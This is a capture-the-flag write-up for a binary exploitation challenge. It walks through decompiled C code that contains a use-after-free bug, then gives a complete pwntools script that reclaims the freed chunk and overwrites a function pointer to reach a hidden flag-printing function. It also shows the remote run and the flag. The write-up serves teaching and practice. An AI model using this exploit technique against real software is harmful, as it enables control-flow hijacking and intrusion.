name

Category: Pwn
Files: name libc.so.6 ld-linux-x86-64.so.2
Description: Denis always said that saying goodbye is not a reason to forget your name.

Program Analysis

In this challenge, we were given a binary named name. Let’s try to examine the decompiled code.

main

1
int main(void) {
2
    int choice;
3
    _init_streams();
4

5
    while (1) {
6
        menu();
7
        if (scanf("%d", &choice) != 1) {
8
            return 0;
9
        }
10

11
        if (choice == 1) {
12
            create_session();
13
        } else if (choice == 2) {
14
            delete_session();
15
        } else if (choice == 3) {
16
            leave_feedback();
17
        } else if (choice == 4) {
18
            greet_user();
19
        } else {
20
            exit(0);
21
        }
22
    }
23
    return 0;
24
}

The main() function initializes the streams and enters an infinite loop, offering four main actions: creating a session, deleting it, leaving feedback, or greeting the user. These actions interact with a global current_session pointer.

create_session

1
void create_session(void) {
2
    current_session = malloc(0x20);
3
    if (current_session == NULL) {
4
        puts("[-] Allocation failed.");
5
    } else {
6
        *((void (**)(void *))((char *)current_session + 0x18)) = normal_greet;
7
        printf("Enter name: ");
8
        read(0, current_session, 0x14);
9
        puts("[+] Session created.");
10
    }
11
}

The create_session() function allocates a 0x20 byte chunk on the heap. It sets a function pointer at offset 0x18 to the normal_greet() function and reads up to 0x14 (20) bytes into the start of the chunk for the user’s name.

delete_session

1
void delete_session(void) {
2
    if (current_session == NULL) {
3
        puts("[-] No active session.");
4
    } else {
5
        free(current_session);
6
        puts("[+] Session deleted.");
7
    }
8
}

The delete_session() function frees the memory associated with the current_session. However, there’s a bug here: after freeing the chunk, the current_session pointer is not cleared (set to NULL), leading to a Use-After-Free (UAF) vulnerability.

leave_feedback

1
void leave_feedback(void) {
2
    void *__buf;
3
    __buf = malloc(0x20);
4
    if (__buf == NULL) {
5
        puts("[-] Allocation failed.");
6
    } else {
7
        printf("Enter feedback: ");
8
        read(0, __buf, 0x20);
9
        puts("[+] Feedback recorded.");
10
    }
11
}

The leave_feedback() function allocates another 0x20 byte chunk—the same size as the session object. Because it uses the same bin, this new allocation will likely occupy the recently freed current_session memory if it was just deleted. We can write 32 bytes into this buffer, allowing us to overwrite the function pointer at offset 0x18.

greet_user

1
void greet_user(void) {
2
    if (current_session == NULL) {
3
        puts("[-] No active session.");
4
    } else {
5
        void (*greet_func)(void *) = *((void (**)(void *))((char *)current_session + 0x18));
6
        greet_func(current_session);
7
    }
8
}

The greet_user() function attempts to call the function pointer stored at current_session + 0x18. Since current_session still points to the (potentially) freed and reallocated memory, this triggers the UAF. If we’ve overwritten that pointer via leave_feedback(), we gain control over the execution flow.

admin_shell

1
void admin_shell(void) {
2
    char *__s;
3
    __s = getenv("FLAG_VAL");
4
    if (__s == (char *)0x0) {
5
        puts("grodno{REAL_COMBAT_UAF}");
6
    } else {
7
        puts(__s);
8
    }
9
    exit(0);
10
}

Finally, we find a hidden admin_shell() function that prints the flag. Our goal is to redirect the greet_user() call to this address.

Now that we know the bug, let’s move to the exploitation part.

Starting with a basic check of the binary’s protections:

❯  checksec name
    Arch:       amd64-64-little
    RELRO:       Partial RELRO
    Stack:       No canary found
    NX:          NX enabled
    PIE:         No PIE (0x400000)
    RUNPATH:     b'./'
    Stripped:    No

The binary has No PIE, which means the addresses of functions and global variables are fixed. This simplifies our exploit as we don’t need to leak the base address of the executable.

Exploitation

By using the leave_feedback() function after deleting a session, we can overwrite the contents of the (now-allocated-to-feedback) session object, including the function pointer at +0x18.

When we call greet_user(), the program uses the dangling pointer to call whatever is at +0x18:

1
void greet_user(void) {
2
    if (current_session != NULL) {
3
        // USE-AFTER-FREE: Calls the function pointer at +0x18
4
        void (*greet_func)(void *) = *((void (**)(void *))((char *)current_session + 0x18));
5
        greet_func(current_session);
6
    }
7
}

Our goal is to overwrite this with the address of admin_shell() (0x401256).

Exploit Script

1
from pwn import *
2

3
def start(argv=[], *a, **kw):
4
    if args.GDB:
5
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
6
    elif args.REMOTE:
7
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
8
    else:
9
        return process([exe] + argv, *a, **kw)
10

11
gdbscript = '''
12
init-pwndbg
13
set follow-fork-mode parent
14
set follow-exec-mode same
15
continue
16
'''.format(**locals())
17

18
exe = './name'
19
elf = context.binary = ELF(exe, checksec=False)
20
context.terminal = ['tmux', 'splitw', '-h']
21
context.log_level = 'debug'
22

23
def logleak(name, val):  log.success(name+' = %#x' % val)
24
def loglibc(): log.success('libc addr = %#x' % libc.address)
25
def logbase(): log.success('pie addr = %#x' % elf.address)
26
def sa(delim,data): return io.sendafter(delim,data)
27
def sla(delim,line): return io.sendlineafter(delim,line)
28
def sl(line): return io.sendline(line)
29
# ===========================================================
30
#                    EXPLOIT GOES HERE
31
# ===========================================================
32

33
# Lib-C library, can use pwninit/patchelf to patch binary
34
libc = ELF("./libc.so.6")
35
ld = ELF("./ld-linux-x86-64.so.2")
36

37
io = start()
38

39
def create_session(name):
40
    sla(b'> ',b'1')
41
    sla(b'name: ',str(name).encode())
42

43
def delete_session():
44
    sla(b'> ',b'2')
45

46
def feedback(data):
47
    sla(b'> ',b'3')
48
    sla(b'feedback: ',data)
49

50
def greet():
51
    sla(b'> ',b'4')
52

53
# 1. Create a session to populate current_session
54
create_session(b'test')
55

56
# 2. Delete it to create a dangling pointer
57
delete_session()
58

59
# 3. Use 'feedback' to take over the freed chunk
60
# Overwrite the function pointer at offset 24 (0x18)
61
feedback(cyclic(24)+p64(elf.sym["admin_shell"]))
62

63
# 4. Trigger the UAF call via greet_user
64
greet()
65

66
io.interactive()

Note

The binary has No PIE, so elf.sym["admin_shell"] is a constant address.

Running the exploit gives us the flag:

$ python3 xploit.py REMOTE ctf.mf.grsu.by 9070
[+] Opening connection to ctf.mf.grsu.by on port 9070: Done
[*] Switching to interactive mode
grodno{PHR33d_s3ss10N_S71LL_Gr337z}

Flag: grodno{PHR33d_s3ss10N_S71LL_Gr337z}